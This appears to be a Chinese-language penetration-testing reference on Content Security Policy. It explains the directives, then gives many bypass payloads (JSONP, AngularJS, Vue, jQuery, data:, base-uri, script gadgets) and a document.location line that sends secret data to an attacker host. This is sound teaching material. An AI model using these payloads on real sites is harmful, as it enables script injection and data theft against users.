内容安全策略

内容安全策略(CSP)概述

内容安全策略是一种机制,用于定义网页可以获取或执行哪些资源。它列出了浏览器可以安全加载资源的路径和来源。资源可能包括图像、框架、JavaScript等。

内容安全策略通过响应头实现:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

或HTML页面的 meta 元素:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

浏览器遵循接收到的策略,并在检测到违规时主动阻止。

它是如何工作的?

CSP通过限制主动和被动内容可以加载的来源来工作。它还可以限制主动内容的某些方面,例如内联JavaScript的执行和 eval() 的使用。

指令

资源加载策略使用指令设置:

  • script-src 指定JavaScript的允许来源。这不仅包括直接加载到 <script> 元素中的URL,还包括内联脚本事件处理程序(如 onclick)和可能触发脚本执行的XSLT样式表等。

  • default-src 定义默认情况下获取资源的策略。当CSP头中缺少获取指令时,浏览器默认遵循此指令。不遵循 default-src 的指令列表:

    • base-uri

    • form-action

    • frame-ancestors

    • plugin-types

    • report-uri

    • sandbox

  • child-src 定义使用 <frame><iframe> 等元素加载的Web workers和嵌套浏览上下文的有效来源。

  • connect-src 限制使用 <a>fetchwebsocketXMLHttpRequest 等接口加载的URL。

  • frame-src 指定使用 <frame><iframe> 等元素加载的嵌套浏览上下文的有效来源。

  • frame-ancestors 指定可以嵌入当前页面的来源。此指令适用于 <frame><iframe>object><embed><applet> 标签。此指令不能在 <meta> 标签中使用,并且仅适用于非HTML资源。

  • img-src 定义网页上加载图像的允许来源。

  • manifest-src 定义应用程序manifest文件的允许来源。

  • media-src 定义可以从中加载媒体对象(如 <audio><video><track>)的允许来源。

  • object-src 定义 <object><embed><applet> 元素的允许来源。

  • base-uri 定义可以使用 <base> 元素加载的允许URL。

  • form-action 列出 <form> 标签提交的有效端点。form-action 是否应该在表单提交后阻止重定向是有争议的,浏览器在这方面的实现不一致(例如Firefox 57不阻止重定向,而Chrome 63阻止)。

  • plugin-types 通过限制可以加载的资源类型来限制可以嵌入到文档中的插件集。如果满足以下条件,<embed><object><applet> 元素的实例化将失败:

    • 要加载的元素未声明有效的MIME类型

    • 声明的类型与plugin-types指令中指定的任何类型不匹配

    • 获取的资源与声明的类型不匹配

  • upgrade-insecure-requests 指示浏览器重写URL方案,将HTTP更改为HTTPS。对于需要重写大量旧URL的网站,此指令很有用。

  • sandbox 为请求的资源启用沙盒,类似于 <iframe> 沙盒属性。它对页面的操作施加限制,包括阻止弹出窗口、阻止插件和脚本的执行,以及强制执行同源策略。

请参阅 mdn web docs: Content-Security-Policy - Directives 获取完整的指令列表。

来源值

来源用于定义指令的值:

  • * 允许任何URL,除了 data:blob:filesystem:

  • <host-source> 通过名称或IP地址的Internet主机。URL方案、端口号和路径是可选的。通配符 * 可用于子域、主机地址和端口号,表示每个的所有合法值都有效。

  • <scheme-source> 方案如 http:https:(冒号是必需的)。也可以指定数据方案:

    • data: 允许使用 data: URL作为内容来源。

    • mediastream: 允许使用 mediastream: URI作为内容来源。

    • blob: 允许使用 blob: URI作为内容来源。

    • filesystem: 允许使用 filesystem: URI作为内容来源。

  • self 指向提供受保护文档的来源,包括相同的URL方案和端口号。

  • unsafe-eval 允许使用 eval() 和其他不安全的方法从字符串创建代码。

  • unsafe-hashes 允许启用特定的内联事件处理程序。

  • unsafe-inline 允许使用内联资源,如内联 <script> 元素、javascript: URL、内联事件处理程序和内联 <style> 元素。

  • none 指空集;即,没有URL匹配。

  • nonce-<base64-value> 使用加密nonce(仅使用一次的数字)为特定内联脚本创建允许列表。服务器每次传输策略时都必须生成唯一的nonce值。

  • <hash-algorithm>-<base64-value> 脚本或样式的 sha256sha384sha512 哈希。该值由用于创建哈希的算法组成,后跟连字符和脚本或样式的base64编码哈希。

请参阅 mdn web docs: Content-Security-Policy - CSP source values 获取完整的指令源列表。

示例

考虑以下内容安全策略:

Content-Security-Policy: default-src 'self'; script-src https://website.com;

以下图像将被允许,因为图像是从同一域加载的,即 website.com

<img src="assets/images/logo.png">

以下脚本将被允许,因为脚本是从同一域加载的,即 website.com

<script src="assets/scripts/main.js"></script>

以下脚本将不被允许,因为脚本试图从未定义的域加载,即 attacker-website.com

<script src=https://attacker-website.com/hook.js></script>

以下payload将在页面上不被允许,因为默认情况下阻止内联脚本:

"/><script>alert(1337)</script>

以下图像将不被允许,因为图像从未定义的域加载,即 attacker-website.com

<img src="https://attacker-website.com/image.svg">

由于指令未在CSP中定义,img-src 默认设置为 self 并遵循 default-src

绕过技术

您可以使用以下在线工具检查内容安全策略:

允许的CDN

如果 script-srcobject-src 允许公共CDN通过其域名,则可以从该CDN访问任何数据,包括易受攻击的库或框架。

unsafe-evalunsafe-inline 源的存在显著简化了易受攻击库或框架的利用,因为它允许直接调用易受攻击的组件。否则,需要找到调用易受攻击组件的方法。

例如,在下面的代码段中,CSP允许 https://cdnjs.cloudflare.com 并在 script-src 中设置 unsafe-eval。它允许使用 AngularJS 执行任意JavaScript代码。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js"></script>
</head>
<body>
    <div ng-app ng-csp>{{$on.constructor('alert(1)')()}}</div>
</body>

允许托管用户内容的域

如果 script-srcobject-src 允许每个人都可以托管任意内容的域,则可能注入任意内容。

例如,在下面的代码段中,CSP在 scripts-src 中允许 https://storage.googleapis.com。这使得可以将payload上传到GCP Cloud Storage并实现任意JavaScript执行。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://storage.googleapis.com;">
</head>
<body>
    <script src=https://storage.googleapis.com/path/to/malicious/script.js></script>
</body>

data: 方案

如果 default-srcscript-srcframe-srcobject-src 允许 data: 方案,则可以通过注入标签执行任意JavaScript代码。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src data:;">
</head>
<body>
    <script src=data:text/javascript,alert(1)></script>
    <iframe src='data:text/html,<script defer="true" src="data:text/javascript,alert(1)"></script>'></iframe>
    <iframe srcdoc='<script src="data:text/javascript,alert(1)"></script>'></iframe>
    <!-- 仅Firefox -->
    <object data="javascript:alert(1)">
</body>

JSONP

JSONP API与 callback= 参数一起工作,该参数指定处理与其一起发送的数据的函数。如果JSONP中没有函数名称验证,则可以注入自定义回调函数并执行任意JavaScript代码。

JSONP API可用于绕过内容安全策略。例如,以下CSP允许从 https://accounts.google.com 加载脚本。由于 https://accounts.google.com 托管JSONP端点,它们可用于执行任意代码。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://accounts.google.com;">
</head>
<body>
    <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
</body>

利用不需要 unsafe-inline,因为JSONP响应处理程序脚本必须在CSP中允许以服务合法请求。

参考资料:

  • JSONBee 包含不同网站上准备使用的JSONP端点。

在script-src中允许microsoft.com by @OctagonNetworks

如果CSP在 script-src 中允许 microsoft.com,由于在WordPress中发现的CSP绕过,可能绕过CSP。

<head>
    <meta http-equiv=Content-Security-Policy content="script-src https://www.microsoft.com;">
</head>
<body>
    <script src=https://www.microsoft.com/en-us/research/wp-json?_jsonp=alert></script>
</body>

参考资料:

缺失或错误配置的base-uri

如果在内容安全策略中省略 base-uri 或设置为 *,则可以通过注入 base 元素将相对URL重定向到攻击者控制的网站,请查看 HTML Injection: base

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'nonce-secret';">
</head>
<body>
    <base href='https://attacker-website.com'>
    <script nonce=secret src=/script.js></script>
</body>

上面的代码段甚至不知道就使用了 nonce 属性值。

参考资料:

缺失的default-src、frame-src或object-src

如果内容安全策略不包含 default-srcframe-srcobject-src,则可以将其他错误配置与标签注入结合使用以实现任意代码执行。

例如,可以使用 iframe 绕过 script-src 的限制,例如 script-src 'none'script-src 'self'script-src 'nonce-*'script-src 'hash-*'

<!-- 由于不同来源,无法访问父窗口 -->
<iframe src="https://attacker-website.com/payload.html"></iframe>
<!-- 由于同源,可以访问父窗口 -->
<!-- 需要控制同一域中的文件 -->
<iframe src="/uploads/payload.html"></iframe>

更多利用其他CSP错误配置实现任意代码执行的示例:

<!-- 要求object-src中的data:方案 -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<!-- 要求script-src中的data:方案 -->
<iframe srcdoc='<script src="data:text/javascript,alert(1)"></script>'></iframe>
<!-- 要求script-src中的unsafe-inline -->
<iframe srcdoc="<script>alert(1)</script>"></iframe>

Nonce重用

如果 nonce 是静态的或由弱生成器生成,或者其值可以被猜测,则可以通过使用静态 nonce 或猜测正确的 nonce 值来绕过策略。

参考资料:

使用开放重定向绕过允许的路径

内容安全策略允许您在所需域中指定路径,例如 https://website.com/foo/bar/https://website.com/foo/bar/lib.js。但是,如果允许列表中的域有开放重定向,则该开放重定向可用于成功加载允许资源中的资源,即使路径与策略中允许的路径不匹配。

例如,以下策略允许两个资源 https://website.comhttps://partially-trusted-website.com/foo/bar.js。如果 https://website.com 有开放重定向,则可以从 https://partially-trusted-website.com 的其他路径加载脚本。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://website.com https://partially-trusted-website.com/foo/bar.js;">
</head>
<body>
    <script src="https://website.com?redirect=https://partially-trusted-website.com/path/to/malicious/script.js"></script>
</body>

Script gadgets

内容安全策略中的脚本限制可以通过与允许来源的脚本交互来绕过。脚本可能无法与用户可控制的数据安全地工作,例如通过DOM clobbering。结果,它可能导致任意代码执行。

Script gadgets可用于绕过CSP,即使使用基于nonce的策略,因为小工具通常被允许执行JavaScript。

例如,以下代码段根据标记中的参数调用全局范围内的函数:

var array = document.getElementById('cmd').value.split(',');
window[array[0]].apply(this, array.slice(1));

因此,此代码段可用于使用以下 input 元素调用具有任意参数的 window.* 函数:

<input id="cmd" value="alert,1">

另一个例子是下面的代码段,将 RecaptchaClientUrl- 元素的值传递给 script 元素的 src 属性:

var t = document.querySelector("[id^='RecaptchaClientUrl-']").value
      , i = document.querySelector("[id^='RecaptchaClientSecret-']").value
      , n = document.createElement("script");
    n.id = "RecaptchaScript";
    n.src = t + i;

所以,可以使用以下payload执行任意JavaScript代码:

<input id="RecaptchaClientUrl-" value="//attacker-website.com/path/to/script.js" />

请查看下面的文章以了解有关查找小工具的更多信息。

参考资料:

上传自定义文件

控制可执行文件和script-src 'self'

如果有一种方法可以控制具有任意扩展名的文件到同一域中的某个路径,则可能滥用设置 script-src 'self' 的CSP并执行任意JavaScript代码。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'self';">
</head>
<body>
    <!-- script.js将被加载和执行 -->
    <script src='/uploads/script.js'></script>
</body>

控制可执行文件和script-src 'nonce'或'hash'

如果有一种方法可以控制具有任意扩展名的文件到同一域中的某个路径,则可能使用 iframe 元素绕过基于 noncehashscript-src(需要错误配置的 frame-src)。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret';">
    <!--
    或者
    <meta http-equiv="Content-Security-Policy" content="script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8=';">
    -->
</head>
<body>
    <iframe src="/uploads/script.html"></iframe>
</body>

其中 /uploads/script.html 包含payload:

<script>alert(1)</script>

控制文本文件和script-src 'self'

应用程序很可能限制上传具有潜在危险扩展名的文件,例如 htmljs

如果 X-Content-Type-Options: nosniff 不活动,则可以使用文本文件作为 script 元素的来源。在这种情况下,浏览器使用MIME类型嗅探来找出文件的实际内容类型。

例如,对于下面的策略,可以使用任何具有MIME类型 text/plaintext/cssjavasript/css 等的文本文件来加载脚本。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'self';">
</head>
<body>
    <!-- file.css将作为JavaScript加载和执行 -->
    <script src='file.css'></script>
</body>

然而,即使 X-Content-Type-Options: nosniff 处于活动状态,也有可用于传递payload的内容类型,请查看:

unsafe-eval

如果 script-srcdefault-src 允许 unsafe-eval,则可能执行任意JavaScript。有多种方法实现代码执行:

  1. 有一个 eval 表达式接收用户控制的数据。

  2. 网站使用易受攻击的框架,如jQuery或Angular.js,可用于执行任何内联脚本。

  3. 如果内容安全策略允许从公共CDN加载库和框架,则可以使用易受攻击的库和框架执行任意代码。

例如,以下CSP允许 https://cdnjs.cloudflare.com 并在 script-src 中设置 unsafe-eval。payload使用 Angular JS 执行任意JavaScript代码。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js"></script>
</head>
<body>
    <div ng-app ng-csp>{{$on.constructor('alert(1)')()}}</div>
</body>

unsafe-inline

如果 default-srcscript-srcframe-srcobject-src 允许 unsafe-inline,则可以通过注入标签或使用事件处理程序执行任意JavaScript代码。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline';">
</head>
<body>
    <script>alert(1)</script>
    <img src onerror="alert(1)">
    <iframe src="javascript: alert(1)"></iframe>
</body>

策略注入

内容安全策略可以基于用户提供的变量动态生成。如果这些变量未正确验证,则可能注入指令并削弱策略。

参考资料:

通配符 *

script-srcobject-srcdefault-src 中使用 * 允许从无限范围的来源加载内容。

例如,以下CSP允许直接从任意资源加载恶意脚本。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src *;">
</head>
<body>
    <script src=https://attacker-website.com/script.js></script>
</body>

框架和库

AngularJS

如果页面使用AngularJS,或者CSP允许从远程资源加载,则可以使用AngularJS绕过CSP。

以下示例使用AngularJS事件访问 window 对象并逃逸沙盒。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://cdnjs.cloudflare.com;">
    <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.5/angular.js"></script>
</head>
<body ng-app ng-csp>
    <input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
</body>

在下一个示例中,prototype.js 用于访问 window 对象。换句话说,payload使用 prototype.jsAngularJS 访问 window 对象。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://ajax.googleapis.com;">
    <script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script>
    <script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>
</head>
<body class="ng-app" ng-csp>
    {{$on.curry.call().alert(1)}}
</body>

更多AngularJS payload可以在以下找到(部分payload需要用户交互或设置 unsafe-eval):

以下文章解释了带有 prototype.js 的payload,并展示了如何找到类似的库来逃逸沙盒:

Vue.js

如果设置了 unsafe-eval(这是运行时模板编译所必需的),则可以使用Vie.js绕过CSP。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src https://cdn.jsdelivr.net 'nonce-sometoken' 'unsafe-eval';">
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.js"></script>
</head>
<body>
    <div id="app">
        {{_c.constructor`alert(1)`()}} 
    </div>
    <script nonce="sometoken">
        new Vue({
          el: '#app',
          data: {
            message: 'Hello Vue.js!'
          }
        })
    </script>
</body>

更多Vue.js payload可以在以下找到:

jQuery

不同版本的jQuery有可用于绕过CSP的漏洞。

通过jQuery 2.x中的$.get绕过nonce和strict-dynamic

如果在 $.get$.post 中有方法控制URL,则可以绕过设置 noncestrict-dynamic 的CSP。

<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret' 'strict-dynamic'"> 
  <script nonce='secret' src="https://code.jquery.com/jquery-2.2.4.js" ></script>
</head> 
<body>
    <script nonce=secret> 
        $(function() { 
            $.get('data:text/javascript,"use strict"%0d%0aalert(1)');
        });
    </script>
</body>

这在jQuery 3.0.0中已修补,请查看 https://github.com/jquery/jquery/issues/2432

通过jQuery模板绕过nonce

jQuery模板可用于绕过设置 nonceunsafe-eval(这是运行时模板编译所必需的)的CSP。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret' 'unsafe-eval';">
    <script nonce=secret src="https://code.jquery.com/jquery-3.1.1.js"></script>
    <script nonce=secret src="http://ajax.microsoft.com/ajax/jquery.templates/beta1/jquery.tmpl.js"></script>
    <script nonce=secret type="text/javascript">
        jQuery(function(){
            $("#x").tmpl([{}])
        });
    </script>
</head>
<body>
    <div id="x">${alert.bind(window)(1)}</div>
</body>

通过劫持handlebar模板绕过nonce

Handlebar模板可用于绕过设置 nonceunsafe-eval(这是运行时模板编译所必需的)的CSP。

<head>
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-secret' 'unsafe-eval';">
    <script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
    <script nonce="secret" src="https://cdnjs.cloudflare.com/ajax/libs/handlebars.js/1.3.0/handlebars.js"></script>
</head>
<body>
    <script id="csp-template" type="text/x-handlebars-template">
        <script>alert("I am injected via XSS")<{{!}}/script>
    </script>
    <script id="csp-template" type="text/x-handlebars-template">
        <h1>I am legit</h1>
    </script>
    <div id="csp-placeholder"></div>
    <script nonce="secret">
        var cspSource = $("#csp-template").html();
        var cspTemplate = Handlebars.compile(cspSource);
        $("#csp-placeholder").html(cspTemplate());
    </script>
  </body>
</html>

数据泄露

覆盖document.location

覆盖 document.location 可用于将数据发送到外部服务器,即使CSP限制了可以加载的URL。

document.location = `https://attacker-website.com/callback?q=${secretData}`;

参考资料

最后更新于